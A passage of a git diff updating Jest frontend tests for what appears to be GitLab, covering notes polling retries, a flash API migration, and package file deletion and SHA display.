placeholderText,
},
+ ...options,
});
- });
+ };
+
+ const findTextarea = () => wrapper.find({ ref: 'textarea' });
afterEach(() => {
wrapper.destroy();
});
- it('emits focus event on button click', () => {
- findTextarea().trigger('focus');
+ it('emits focus event on button click', async () => {
+ createComponent({ options: { attachTo: document.body } });
+
+ await findTextarea().trigger('focus');
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted()).toEqual({
- focus: [[]],
- });
+ expect(wrapper.emitted()).toEqual({
+ focus: [[]],
});
});
it('should render reply button', () => {
+ createComponent();
+
expect(findTextarea().attributes('placeholder')).toEqual(placeholderText);
});
});
diff --git a/spec/frontend/notes/components/noteable_discussion_spec.js b/spec/frontend/notes/components/noteable_discussion_spec.js
index 735bc2b70dd..a364a524e7b 100644
--- a/spec/frontend/notes/components/noteable_discussion_spec.js
+++ b/spec/frontend/notes/components/noteable_discussion_spec.js
@@ -56,6 +56,18 @@ describe('noteable_discussion component', () => {
expect(wrapper.find('.discussion-header').exists()).toBe(true);
});
+ it('should hide actions when diff refs do not exists', async () => {
+ const discussion = { ...discussionMock };
+ discussion.diff_file = { ...mockDiffFile, diff_refs: null };
+ discussion.diff_discussion = true;
+ discussion.expanded = false;
+
+ wrapper.setProps({ discussion });
+ await nextTick();
+
+ expect(wrapper.vm.canShowReplyActions).toBe(false);
+ });
+
describe('actions', () => {
it('should toggle reply form', async () => {
await nextTick();
diff --git a/spec/frontend/notes/stores/actions_spec.js b/spec/frontend/notes/stores/actions_spec.js
index 9b7456d54bc..7eef2017dfb 100644
--- a/spec/frontend/notes/stores/actions_spec.js
+++ b/spec/frontend/notes/stores/actions_spec.js
@@ -25,7 +25,19 @@ import {
} from '../mock_data';
const TEST_ERROR_MESSAGE = 'Test error message';
-jest.mock('~/flash');
+const mockFlashClose = jest.fn();
+jest.mock('~/flash', () => {
+ const flash = jest.fn().mockImplementation(() => {
+ return {
+ close: mockFlashClose,
+ };
+ });
+
+ return {
+ createFlash: flash,
+ deprecatedCreateFlash: flash,
+ };
+});
describe('Actions Notes Store', () => {
let commit;
@@ -254,42 +266,144 @@ describe('Actions Notes Store', () => {
});
describe('poll', () => {
- beforeEach((done) => {
- axiosMock
- .onGet(notesDataMock.notesPath)
- .reply(200, { notes: [], last_fetched_at: '123456' }, { 'poll-interval': '1000' });
+ const pollInterval = 6000;
+ const pollResponse = { notes: [], last_fetched_at: '123456' };
+ const pollHeaders = { 'poll-interval': `${pollInterval}` };
+ const successMock = () =>
+ axiosMock.onGet(notesDataMock.notesPath).reply(200, pollResponse, pollHeaders);
+ const failureMock = () => axiosMock.onGet(notesDataMock.notesPath).reply(500);
+ const advanceAndRAF = async (time) => {
+ if (time) {
+ jest.advanceTimersByTime(time);
+ }
+
+ return new Promise((resolve) => requestAnimationFrame(resolve));
+ };
+ const advanceXMoreIntervals = async (number) => {
+ const timeoutLength = pollInterval * number;
+ return advanceAndRAF(timeoutLength);
+ };
+ const startPolling = async () => {
+ await store.dispatch('poll');
+ await advanceAndRAF(2);
+ };
+ const cleanUp = async () => {
+ jest.clearAllTimers();
+
+ return store.dispatch('stopPolling');
+ };
+
+ beforeEach((done) => {
store.dispatch('setNotesData', notesDataMock).then(done).catch(done.fail);
});
- it('calls service with last fetched state', (done) => {
- store
- .dispatch('poll')
- .then(() => {
- jest.advanceTimersByTime(2);
- })
- .then(() => new Promise((resolve) => requestAnimationFrame(resolve)))
- .then(() => {
- expect(store.state.lastFetchedAt).toBe('123456');
-
- jest.advanceTimersByTime(1500);
- })
- .then(
- () =>
- new Promise((resolve) => {
- requestAnimationFrame(resolve);
- }),
- )
- .then(() => {
- const expectedGetRequests = 2;
- expect(axiosMock.history.get.length).toBe(expectedGetRequests);
- expect(axiosMock.history.get[expectedGetRequests - 1].headers).toMatchObject({
- 'X-Last-Fetched-At': '123456',
- });
- })
- .then(() => store.dispatch('stopPolling'))
- .then(done)
- .catch(done.fail);
+ afterEach(() => {
+ return cleanUp();
+ });
+
+ it('calls service with last fetched state', async () => {
+ successMock();
+
+ await startPolling();
+
+ expect(store.state.lastFetchedAt).toBe('123456');
+
+ await advanceXMoreIntervals(1);
+
+ expect(axiosMock.history.get).toHaveLength(2);
+ expect(axiosMock.history.get[1].headers).toMatchObject({
+ 'X-Last-Fetched-At': '123456',
+ });
+ });
+
+ describe('polling side effects', () => {
+ it('retries twice', async () => {
+ failureMock();
+
+ await startPolling();
+
+ // This is the first request, not a retry
+ expect(axiosMock.history.get).toHaveLength(1);
+
+ await advanceXMoreIntervals(1);
+
+ // Retry #1
+ expect(axiosMock.history.get).toHaveLength(2);
+
+ await advanceXMoreIntervals(1);
+
+ // Retry #2
+ expect(axiosMock.history.get).toHaveLength(3);
+
+ await advanceXMoreIntervals(10);
+
+ // There are no more retries
+ expect(axiosMock.history.get).toHaveLength(3);
+ });
+
+ it('shows the error display on the second failure', async () => {
+ failureMock();
+
+ await startPolling();
+
+ expect(axiosMock.history.get).toHaveLength(1);
+ expect(Flash).not.toHaveBeenCalled();
+
+ await advanceXMoreIntervals(1);
+
+ expect(axiosMock.history.get).toHaveLength(2);
+ expect(Flash).toHaveBeenCalled();
+ expect(Flash).toHaveBeenCalledTimes(1);
+ });
+
+ it('resets the failure counter on success', async () => {
+ // We can't get access to the actual counter in the polling closure.
+ // So we can infer that it's reset by ensuring that the error is only
+ // shown when we cause two failures in a row - no successes between
+
+ axiosMock
+ .onGet(notesDataMock.notesPath)
+ .replyOnce(500) // cause one error
+ .onGet(notesDataMock.notesPath)
+ .replyOnce(200, pollResponse, pollHeaders) // then a success
+ .onGet(notesDataMock.notesPath)
+ .reply(500); // and then more errors
+
+ await startPolling(); // Failure #1
+ await advanceXMoreIntervals(1); // Success #1
+ await advanceXMoreIntervals(1); // Failure #2
+
+ // That was the first failure AFTER a success, so we should NOT see the error displayed
+ expect(Flash).not.toHaveBeenCalled();
+
+ // Now we'll allow another failure
+ await advanceXMoreIntervals(1); // Failure #3
+
+ // Since this is the second failure in a row, the error should happen
+ expect(Flash).toHaveBeenCalled();
+ expect(Flash).toHaveBeenCalledTimes(1);
+ });
+
+ it('hides the error display if it exists on success', async () => {
+ jest.mock();
+ failureMock();
+
+ await startPolling();
+ await advanceXMoreIntervals(2);
+
+ // After two errors, the error should be displayed
+ expect(Flash).toHaveBeenCalled();
+ expect(Flash).toHaveBeenCalledTimes(1);
+
+ axiosMock.reset();
+ successMock();
+
+ await advanceXMoreIntervals(1);
+
+ expect(mockFlashClose).toHaveBeenCalled();
+ expect(mockFlashClose).toHaveBeenCalledTimes(1);
+ });
});
});
diff --git a/spec/frontend/operation_settings/components/metrics_settings_spec.js b/spec/frontend/operation_settings/components/metrics_settings_spec.js
index 272e9b71f67..5eecfd395e2 100644
--- a/spec/frontend/operation_settings/components/metrics_settings_spec.js
+++ b/spec/frontend/operation_settings/components/metrics_settings_spec.js
@@ -1,7 +1,7 @@
import { GlButton, GlLink, GlFormGroup, GlFormInput, GlFormSelect } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
import { TEST_HOST } from 'helpers/test_constants';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { refreshCurrentPage } from '~/lib/utils/url_utility';
import { timezones } from '~/monitoring/format_date';
@@ -56,7 +56,7 @@ describe('operation settings external dashboard component', () => {
it('renders header text', () => {
mountComponent();
- expect(wrapper.find('.js-section-header').text()).toBe('Metrics dashboard');
+ expect(wrapper.find('.js-section-header').text()).toBe('Metrics');
});
describe('expand/collapse button', () => {
@@ -77,13 +77,13 @@ describe('operation settings external dashboard component', () => {
});
it('renders descriptive text', () => {
- expect(subHeader.text()).toContain('Manage Metrics Dashboard settings.');
+ expect(subHeader.text()).toContain('Manage metrics dashboard settings.');
});
it('renders help page link', () => {
const link = subHeader.find(GlLink);
- expect(link.text()).toBe('Learn more');
+ expect(link.text()).toBe('Learn more.');
expect(link.attributes().href).toBe(helpPage);
});
});
@@ -203,10 +203,10 @@ describe('operation settings external dashboard component', () => {
.$nextTick()
.then(jest.runAllTicks)
.then(() =>
- expect(createFlash).toHaveBeenCalledWith(
- `There was an error saving your changes. ${message}`,
- 'alert',
- ),
+ expect(createFlash).toHaveBeenCalledWith({
+ message: `There was an error saving your changes. ${message}`,
+ type: 'alert',
+ }),
);
});
});
diff --git a/spec/frontend/packages/details/components/__snapshots__/file_sha_spec.js.snap b/spec/frontend/packages/details/components/__snapshots__/file_sha_spec.js.snap
new file mode 100644
index 00000000000..881d441e116
--- /dev/null
+++ b/spec/frontend/packages/details/components/__snapshots__/file_sha_spec.js.snap
@@ -0,0 +1,30 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`FileSha renders 1`] = `
+<div
+ class="gl-display-flex gl-align-items-center gl-font-monospace gl-font-sm gl-word-break-all gl-py-2 gl-border-b-solid gl-border-gray-100 gl-border-b-1"
+>
+ <!---->
+
+ <span>
+ <div
+ class="gl-px-4"
+ >
+
+ bar:
+ foo
+
+ <gl-button-stub
+ aria-label="Copy this value"
+ buttontextclasses=""
+ category="tertiary"
+ data-clipboard-text="foo"
+ icon="copy-to-clipboard"
+ size="small"
+ title="Copy SHA"
+ variant="default"
+ />
+ </div>
+ </span>
+</div>
+`;
diff --git a/spec/frontend/packages/details/components/app_spec.js b/spec/frontend/packages/details/components/app_spec.js
index 11dad7ba34d..3132ec61942 100644
--- a/spec/frontend/packages/details/components/app_spec.js
+++ b/spec/frontend/packages/details/components/app_spec.js
@@ -1,5 +1,6 @@
-import { GlEmptyState, GlModal } from '@gitlab/ui';
+import { GlEmptyState } from '@gitlab/ui';
import { mount, createLocalVue } from '@vue/test-utils';
+import { nextTick } from 'vue';
import Vuex from 'vuex';
import stubChildren from 'helpers/stub_children';
@@ -34,6 +35,7 @@ describe('PackagesApp', () => {
let store;
const fetchPackageVersions = jest.fn();
const deletePackage = jest.fn();
+ const deletePackageFile = jest.fn();
const defaultProjectName = 'bar';
const { location } = window;
@@ -59,6 +61,7 @@ describe('PackagesApp', () => {
actions: {
deletePackage,
fetchPackageVersions,
+ deletePackageFile,
},
getters,
});
@@ -82,8 +85,8 @@ describe('PackagesApp', () => {
const packageTitle = () => wrapper.find(PackageTitle);
const emptyState = () => wrapper.find(GlEmptyState);
const deleteButton = () => wrapper.find('.js-delete-button');
- const deleteModal = () => wrapper.find(GlModal);
- const modalDeleteButton = () => wrapper.find({ ref: 'modal-delete-button' });
+ const findDeleteModal = () => wrapper.find({ ref: 'deleteModal' });
+ const findDeleteFileModal = () => wrapper.find({ ref: 'deleteFileModal' });
const versionsTab = () => wrapper.find('.js-versions-tab > a');
const packagesLoader = () => wrapper.find(PackagesListLoader);
const packagesVersionRows = () => wrapper.findAll(PackageListRow);
@@ -107,10 +110,12 @@ describe('PackagesApp', () => {
window.location = location;
});
- it('renders the app and displays the package title', () => {
+ it('renders the app and displays the package title', async () => {
createComponent();
- expect(packageTitle()).toExist();
+ await nextTick();
+
+ expect(packageTitle().exists()).toBe(true);
});
it('renders an empty state component when no an invalid package is passed as a prop', () => {
@@ -118,7 +123,7 @@ describe('PackagesApp', () => {
packageEntity: {},
});
- expect(emptyState()).toExist();
+ expect(emptyState().exists()).toBe(true);
});
it('package history has the right props', () => {
@@ -152,7 +157,16 @@ describe('PackagesApp', () => {
});
it('shows the delete confirmation modal when delete is clicked', () => {
- expect(deleteModal()).toExist();
+ expect(findDeleteModal().exists()).toBe(true);
+ });
+ });
+
+ describe('deleting package files', () => {
+ it('shows the delete confirmation modal when delete is clicked', () => {
+ createComponent();
+ findPackageFiles().vm.$emit('delete-file', mavenFiles[0]);
+
+ expect(findDeleteFileModal().exists()).toBe(true);
});
});
@@ -228,13 +242,7 @@ describe('PackagesApp', () => {
});
describe('tracking and delete', () => {
- const doDelete = async () => {
- deleteButton().trigger('click');
- await wrapper.vm.$nextTick();
- modalDeleteButton().trigger('click');
- };
-
- describe('delete', () => {
+ describe('delete package', () => {
const originalReferrer = document.referrer;
const setReferrer = (value = defaultProjectName) => {
Object.defineProperty(document, 'referrer', {
@@ -250,9 +258,9 @@ describe('PackagesApp', () => {
});
});
- it('calls the proper vuex action', async () => {
+ it('calls the proper vuex action', () => {
createComponent({ packageEntity: npmPackage });
- await doDelete();
+ findDeleteModal().vm.$emit('primary');
expect(deletePackage).toHaveBeenCalled();
});
@@ -260,7 +268,7 @@ describe('PackagesApp', () => {
setReferrer();
deletePackage.mockResolvedValue();
createComponent({ packageEntity: npmPackage });
- await doDelete();
+ findDeleteModal().vm.$emit('primary');
await deletePackage();
expect(window.location.replace).toHaveBeenCalledWith(
'project_url?showSuccessDeleteAlert=true',
@@ -271,7 +279,7 @@ describe('PackagesApp', () => {
setReferrer('baz');
deletePackage.mockResolvedValue();
createComponent({ packageEntity: npmPackage });
- await doDelete();
+ findDeleteModal().vm.$emit('primary');
await deletePackage();
expect(window.location.replace).toHaveBeenCalledWith(
'group_url?showSuccessDeleteAlert=true',
@@ -279,6 +287,17 @@ describe('PackagesApp', () => {
});
});
+ describe('delete file', () => {
+ it('calls the proper vuex action', () => {
+ createComponent({ packageEntity: npmPackage });
+
+ findPackageFiles().vm.$emit('delete-file', mavenFiles[0]);
+ findDeleteFileModal().vm.$emit('primary');
+
+ expect(deletePackageFile).toHaveBeenCalled();
+ });
+ });
+
describe('tracking', () => {
let eventSpy;
let utilSpy;
@@ -295,9 +314,9 @@ describe('PackagesApp', () => {
expect(utilSpy).toHaveBeenCalledWith('conan');
});
- it(`delete button on delete modal call event with ${TrackingActions.DELETE_PACKAGE}`, async () => {
+ it(`delete button on delete modal call event with ${TrackingActions.DELETE_PACKAGE}`, () => {
createComponent({ packageEntity: npmPackage });
- await doDelete();
+ findDeleteModal().vm.$emit('primary');
expect(eventSpy).toHaveBeenCalledWith(
category,
TrackingActions.DELETE_PACKAGE,
@@ -305,6 +324,56 @@ describe('PackagesApp', () => {
);
});
+ it(`canceling a package deletion tracks ${TrackingActions.CANCEL_DELETE_PACKAGE}`, () => {
+ createComponent({ packageEntity: npmPackage });
+
+ findDeleteModal().vm.$emit('canceled');
+
+ expect(eventSpy).toHaveBeenCalledWith(
+ category,
+ TrackingActions.CANCEL_DELETE_PACKAGE,
+ expect.any(Object),
+ );
+ });
+
+ it(`request a file deletion tracks ${TrackingActions.REQUEST_DELETE_PACKAGE_FILE}`, () => {
+ createComponent({ packageEntity: npmPackage });
+
+ findPackageFiles().vm.$emit('delete-file', mavenFiles[0]);
+
+ expect(eventSpy).toHaveBeenCalledWith(
+ category,
+ TrackingActions.REQUEST_DELETE_PACKAGE_FILE,
+ expect.any(Object),
+ );
+ });
+
+ it(`confirming a file deletion tracks ${TrackingActions.DELETE_PACKAGE_FILE}`, () => {
+ createComponent({ packageEntity: npmPackage });
+
+ findPackageFiles().vm.$emit('delete-file', npmPackage);
+ findDeleteFileModal().vm.$emit('primary');
+
+ expect(eventSpy).toHaveBeenCalledWith(
+ category,
+ TrackingActions.REQUEST_DELETE_PACKAGE_FILE,
+ expect.any(Object),
+ );
+ });
+
+ it(`canceling a file deletion tracks ${TrackingActions.CANCEL_DELETE_PACKAGE_FILE}`, () => {
+ createComponent({ packageEntity: npmPackage });
+
+ findPackageFiles().vm.$emit('delete-file', npmPackage);
+ findDeleteFileModal().vm.$emit('canceled');
+
+ expect(eventSpy).toHaveBeenCalledWith(
+ category,
+ TrackingActions.CANCEL_DELETE_PACKAGE_FILE,
+ expect.any(Object),
+ );
+ });
+
it(`file download link call event with ${TrackingActions.PULL_PACKAGE}`, () => {
createComponent({ packageEntity: conanPackage });
diff --git a/spec/frontend/packages/details/components/file_sha_spec.js b/spec/frontend/packages/details/components/file_sha_spec.js
new file mode 100644
index 00000000000..7bfcf78baab
--- /dev/null
+++ b/spec/frontend/packages/details/components/file_sha_spec.js
@@ -0,0 +1,33 @@
+import { shallowMount } from '@vue/test-utils';
+
+import FileSha from '~/packages/details/components/file_sha.vue';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import DetailsRow from '~/vue_shared/components/registry/details_row.vue';
+
+describe('FileSha', () => {
+ let wrapper;
+
+ const defaultProps = { sha: 'foo', title: 'bar' };
+
+ function createComponent() {
+ wrapper = shallowMount(FileSha, {
+ propsData: {
+ ...defaultProps,
+ },
+ stubs: {
+ ClipboardButton,
+ DetailsRow,
+ },
+ });
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders', () => {
+ createComponent();
+
+ expect(wrapper.element).toMatchSnapshot();
+ });
+});
diff --git a/spec/frontend/packages/details/components/installations_commands_spec.js b/spec/frontend/packages/details/components/installations_commands_spec.js
index 065bf503585..164f9f69741 100644
--- a/spec/frontend/packages/details/components/installations_commands_spec.js
+++ b/spec/frontend/packages/details/components/installations_commands_spec.js
@@ -7,6 +7,7 @@ import MavenInstallation from '~/packages/details/components/maven_installation.
import NpmInstallation from '~/packages/details/components/npm_installation.vue';
import NugetInstallation from '~/packages/details/components/nuget_installation.vue';
import PypiInstallation from '~/packages/details/components/pypi_installation.vue';
+import TerraformInstallation from '~/packages_and_registries/infrastructure_registry/components/terraform_installation.vue';
import {
conanPackage,
@@ -15,6 +16,7 @@ import {
nugetPackage,
pypiPackage,
composerPackage,
+ terraformModule,
} from '../../mock_data';
describe('InstallationCommands', () => {
@@ -32,6 +34,7 @@ describe('InstallationCommands', () => {
const nugetInstallation = () => wrapper.find(NugetInstallation);
const pypiInstallation = () => wrapper.find(PypiInstallation);
const composerInstallation = () => wrapper.find(ComposerInstallation);
+ const terraformInstallation = () => wrapper.findComponent(TerraformInstallation);
afterEach(() => {
wrapper.destroy();
@@ -46,6 +49,7 @@ describe('InstallationCommands', () => {
${nugetPackage} | ${nugetInstallation}
${pypiPackage} | ${pypiInstallation}
${composerPackage} | ${composerInstallation}
+ ${terraformModule} | ${terraformInstallation}
`('renders', ({ packageEntity, selector }) => {
it(`${packageEntity.package_type} instructions exist`, () => {
createComponent({ packageEntity });
diff --git a/spec/frontend/packages/details/components/package_files_spec.js b/spec/frontend/packages/details/components/package_files_spec.js
index bcf1b6d56f0..e8e5a24d3a3 100644
--- a/spec/frontend/packages/details/components/package_files_spec.js
+++ b/spec/frontend/packages/details/components/package_files_spec.js
@@ -1,4 +1,6 @@
+import { GlDropdown, GlButton } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
+import { nextTick } from 'vue/';
import stubChildren from 'helpers/stub_children';
import component from '~/packages/details/components/package_files.vue';
import FileIcon from '~/vue_shared/components/file_icon.vue';
@@ -12,16 +14,21 @@ describe('Package Files', () => {
const findAllRows = () => wrapper.findAll('[data-testid="file-row"');
const findFirstRow = () => findAllRows().at(0);
const findSecondRow = () => findAllRows().at(1);
- const findFirstRowDownloadLink = () => findFirstRow().find('[data-testid="download-link"');
- const findFirstRowCommitLink = () => findFirstRow().find('[data-testid="commit-link"');
- const findSecondRowCommitLink = () => findSecondRow().find('[data-testid="commit-link"');
+ const findFirstRowDownloadLink = () => findFirstRow().find('[data-testid="download-link"]');
+ const findFirstRowCommitLink = () => findFirstRow().find('[data-testid="commit-link"]');
+ const findSecondRowCommitLink = () => findSecondRow().find('[data-testid="commit-link"]');
const findFirstRowFileIcon = () => findFirstRow().find(FileIcon);
const findFirstRowCreatedAt = () => findFirstRow().find(TimeAgoTooltip);
+ const findFirstActionMenu = () => findFirstRow().findComponent(GlDropdown);
+ const findActionMenuDelete = () => findFirstActionMenu().find('[data-testid="delete-file"]');
+ const findFirstToggleDetailsButton = () => findFirstRow().findComponent(GlButton);
+ const findFirstRowShaComponent = (id) => wrapper.find(`[data-testid="${id}"]`);
- const createComponent = (packageFiles = npmFiles) => {
+ const createComponent = ({ packageFiles = npmFiles, canDelete = true } = {}) => {
wrapper = mount(component, {
propsData: {
packageFiles,
+ canDelete,
},
stubs: {
...stubChildren(component),
@@ -43,7 +50,7 @@ describe('Package Files', () => {
});
it('renders multiple files for a package that contains more than one file', () => {
- createComponent(mavenFiles);
+ createComponent({ packageFiles: mavenFiles });
expect(findAllRows()).toHaveLength(2);
});
@@ -123,7 +130,7 @@ describe('Package Files', () => {
});
describe('when package file has no pipeline associated', () => {
it('does not exist', () => {
- createComponent(mavenFiles);
+ createComponent({ packageFiles: mavenFiles });
expect(findFirstRowCommitLink().exists()).toBe(false);
});
@@ -131,11 +138,122 @@ describe('Package Files', () => {
describe('when only one file lacks an associated pipeline', () => {
it('renders the commit when it exists and not otherwise', () => {
- createComponent([npmFiles[0], mavenFiles[0]]);
+ createComponent({ packageFiles: [npmFiles[0], mavenFiles[0]] });
expect(findFirstRowCommitLink().exists()).toBe(true);
expect(findSecondRowCommitLink().exists()).toBe(false);
});
});
+
+ describe('action menu', () => {
+ describe('when the user can delete', () => {
+ it('exists', () => {
+ createComponent();
+
+ expect(findFirstActionMenu().exists()).toBe(true);
+ });
+
+ describe('menu items', () => {
+ describe('delete file', () => {
+ it('exists', () => {
+ createComponent();
+
+ expect(findActionMenuDelete().exists()).toBe(true);
+ });
+
+ it('emits a delete event when clicked', () => {
+ createComponent();
+
+ findActionMenuDelete().vm.$emit('click');
+
+ const [[{ id }]] = wrapper.emitted('delete-file');
+ expect(id).toBe(npmFiles[0].id);
+ });
+ });
+ });
+ });
+
+ describe('when the user can not delete', () => {
+ const canDelete = false;
+
+ it('does not exist', () => {
+ createComponent({ canDelete });
+
+ expect(findFirstActionMenu().exists()).toBe(false);
+ });
+ });
+ });
+ });
+
+ describe('additional details', () => {
+ describe('details toggle button', () => {
+ it('exists', () => {
+ createComponent();
+
+ expect(findFirstToggleDetailsButton().exists()).toBe(true);
+ });
+
+ it('is hidden when no details is present', () => {
+ const [{ ...noShaFile }] = npmFiles;
+ noShaFile.file_sha256 = null;
+ noShaFile.file_md5 = null;
+ noShaFile.file_sha1 = null;
+ createComponent({ packageFiles: [noShaFile] });
+
+ expect(findFirstToggleDetailsButton().exists()).toBe(false);
+ });
+
+ it('toggles the details row', async () => {
+ createComponent();
+
+ expect(findFirstToggleDetailsButton().props('icon')).toBe('angle-down');
+
+ findFirstToggleDetailsButton().vm.$emit('click');
+ await nextTick();
+
+ expect(findFirstRowShaComponent('sha-256').exists()).toBe(true);
+ expect(findFirstToggleDetailsButton().props('icon')).toBe('angle-up');
+
+ findFirstToggleDetailsButton().vm.$emit('click');
+ await nextTick();
+
+ expect(findFirstRowShaComponent('sha-256').exists()).toBe(false);
+ expect(findFirstToggleDetailsButton().props('icon')).toBe('angle-down');
+ });
+ });
+
+ describe('file shas', () => {
+ const showShaFiles = () => {
+ findFirstToggleDetailsButton().vm.$emit('click');
+ return nextTick();
+ };
+
+ it.each`
+ selector | title | sha
+ ${'sha-256'} | ${'SHA-256'} | ${'file_sha256'}
+ ${'md5'} | ${'MD5'} | ${'file_md5'}
+ ${'sha-1'} | ${'SHA-1'} | ${'file_sha1'}
+ `('has a $title row', async ({ selector, title, sha }) => {
+ createComponent();
+
+ await showShaFiles();
+
+ expect(findFirstRowShaComponent(selector).props()).toMatchObject({
+ title,
+ sha,
+ });
+ });
+
+ it('does not display a row when the data is missing', async () => {
+ const [{ ...missingMd5 }] = npmFiles;
+ missingMd5.file_md5 = null;
+
+ createComponent({ packageFiles: [missingMd5] });
+
+ await showShaFiles();
+
+ expect(findFirstRowShaComponent('md5').exists()).toBe(false);
+ });
+ });
});
});
diff --git a/spec/frontend/packages/details/store/actions_spec.js b/spec/frontend/packages/details/store/actions_spec.js
index d11ee548b72..b16e50debc4 100644
--- a/spec/frontend/packages/details/store/actions_spec.js
+++ b/spec/frontend/packages/details/store/actions_spec.js
@@ -1,10 +1,18 @@
import testAction from 'helpers/vuex_action_helper';
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { FETCH_PACKAGE_VERSIONS_ERROR } from '~/packages/details/constants';
-import { fetchPackageVersions, deletePackage } from '~/packages/details/store/actions';
+import {
+ fetchPackageVersions,
+ deletePackage,
+ deletePackageFile,
+} from '~/packages/details/store/actions';
import * as types from '~/packages/details/store/mutation_types';
-import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages/shared/constants';
+import {
+ DELETE_PACKAGE_ERROR_MESSAGE,
+ DELETE_PACKAGE_FILE_ERROR_MESSAGE,
+ DELETE_PACKAGE_FILE_SUCCESS_MESSAGE,
+} from '~/packages/shared/constants';
import { npmPackage as packageEntity } from '../../mock_data';
jest.mock('~/flash.js');
@@ -74,7 +82,10 @@ describe('Actions Package details store', () => {
packageEntity.project_id,
packageEntity.id,
);
- expect(createFlash).toHaveBeenCalledWith(FETCH_PACKAGE_VERSIONS_ERROR);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: FETCH_PACKAGE_VERSIONS_ERROR,
+ type: 'warning',
+ });
done();
},
);
@@ -96,7 +107,48 @@ describe('Actions Package details store', () => {
Api.deleteProjectPackage = jest.fn().mockRejectedValue();
testAction(deletePackage, undefined, { packageEntity }, [], [], () => {
- expect(createFlash).toHaveBeenCalledWith(DELETE_PACKAGE_ERROR_MESSAGE);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: DELETE_PACKAGE_ERROR_MESSAGE,
+ type: 'warning',
+ });
+ done();
+ });
+ });
+ });
+
+ describe('deletePackageFile', () => {
+ const fileId = 'a_file_id';
+
+ it('should call Api.deleteProjectPackageFile and commit the right data', (done) => {
+ const packageFiles = [{ id: 'foo' }, { id: fileId }];
+ Api.deleteProjectPackageFile = jest.fn().mockResolvedValue();
+ testAction(
+ deletePackageFile,
+ fileId,
+ { packageEntity, packageFiles },
+ [{ type: types.UPDATE_PACKAGE_FILES, payload: [{ id: 'foo' }] }],
+ [],
+ () => {
+ expect(Api.deleteProjectPackageFile).toHaveBeenCalledWith(
+ packageEntity.project_id,
+ packageEntity.id,
+ fileId,
+ );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: DELETE_PACKAGE_FILE_SUCCESS_MESSAGE,
+ type: 'success',
+ });
+ done();
+ },
+ );
+ });
+ it('should create flash on API error', (done) => {
+ Api.deleteProjectPackageFile = jest.fn().mockRejectedValue();
+ testAction(deletePackageFile, fileId, { packageEntity }, [], [], () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: DELETE_PACKAGE_FILE_ERROR_MESSAGE,
+ type: 'warning',
+ });
done();
});
});
diff --git a/spec/frontend/packages/details/store/mutations_spec.js b/spec/frontend/packages/details/store/mutations_spec.js
index 6bc5fb7241f..296ed02d786 100644
--- a/spec/frontend/packages/details/store/mutations_spec.js
+++ b/spec/frontend/packages/details/store/mutations_spec.js
@@ -28,4 +28,13 @@ describe('Mutations package details Store', () => {
expect(mockState.packageEntity.versions).toEqual(fakeVersions);
});
});
+ describe('UPDATE_PACKAGE_FILES', () => {
+ it('should update the packageFiles', () => {
+ const files = [1, 2, 3];
+
+ mutations[types.UPDATE_PACKAGE_FILES](mockState, files);
+
+ expect(mockState.packageFiles).toEqual(files);
+ });
+ });
});
diff --git a/spec/frontend/packages/list/stores/actions_spec.js b/spec/frontend/packages/list/stores/actions_spec.js
index 52966c1be5e..adccb7436e1 100644
--- a/spec/frontend/packages/list/stores/actions_spec.js
+++ b/spec/frontend/packages/list/stores/actions_spec.js
@@ -2,7 +2,7 @@ import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { MISSING_DELETE_PATH_ERROR } from '~/packages/list/constants';
import * as actions from '~/packages/list/stores/actions';
import * as types from '~/packages/list/stores/mutation_types';
@@ -241,7 +241,9 @@ describe('Actions Package list store', () => {
`('should reject and createFlash when $property is missing', ({ actionPayload }, done) => {
testAction(actions.requestDeletePackage, actionPayload, null, [], []).catch((e) => {
expect(e).toEqual(new Error(MISSING_DELETE_PATH_ERROR));
- expect(createFlash).toHaveBeenCalledWith(DELETE_PACKAGE_ERROR_MESSAGE);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: DELETE_PACKAGE_ERROR_MESSAGE,
+ });
done();
});
});
diff --git a/spec/frontend/packages/mock_data.js b/spec/frontend/packages/mock_data.js
index 06009daba54..33b47cca68b 100644
--- a/spec/frontend/packages/mock_data.js
+++ b/spec/frontend/packages/mock_data.js
@@ -79,6 +79,9 @@ export const npmFiles = [
pipelines: [
{ id: 1, project: { commit_url: 'http://foo.bar' }, git_commit_message: 'foo bar baz?' },
],
+ file_sha256: 'file_sha256',
+ file_md5: 'file_md5',
+ file_sha1: 'file_sha1',
},
];
@@ -175,6 +178,20 @@ export const composerPackage = {
version: '1.0.0',
};
+export const terraformModule = {
+ created_at: '2015-12-10',
+ id: 2,
+ name: 'Test/system-22',
+ package_type: 'terraform_module',
+ project_path: 'foo/bar/baz',
+ projectPathName: 'foo/bar/baz',
+ project_id: 1,
+ updated_at: '2015-12-10',
+ version: '0.1',
+ versions: [],
+ _links,
+};
+
export const mockTags = [
{
name: 'foo-1',
diff --git a/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap b/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
index f4e617ecafe..b576f1b2553 100644
--- a/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
+++ b/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
@@ -11,7 +11,7 @@ exports[`packages_list_row renders 1`] = `
<!---->
<div
- class="gl-display-flex gl-xs-flex-direction-column gl-justify-content-space-between gl-align-items-stretch gl-flex-fill-1"
+ class="gl-display-flex gl-xs-flex-direction-column gl-justify-content-space-between gl-align-items-stretch gl-flex-grow-1"
>
<div
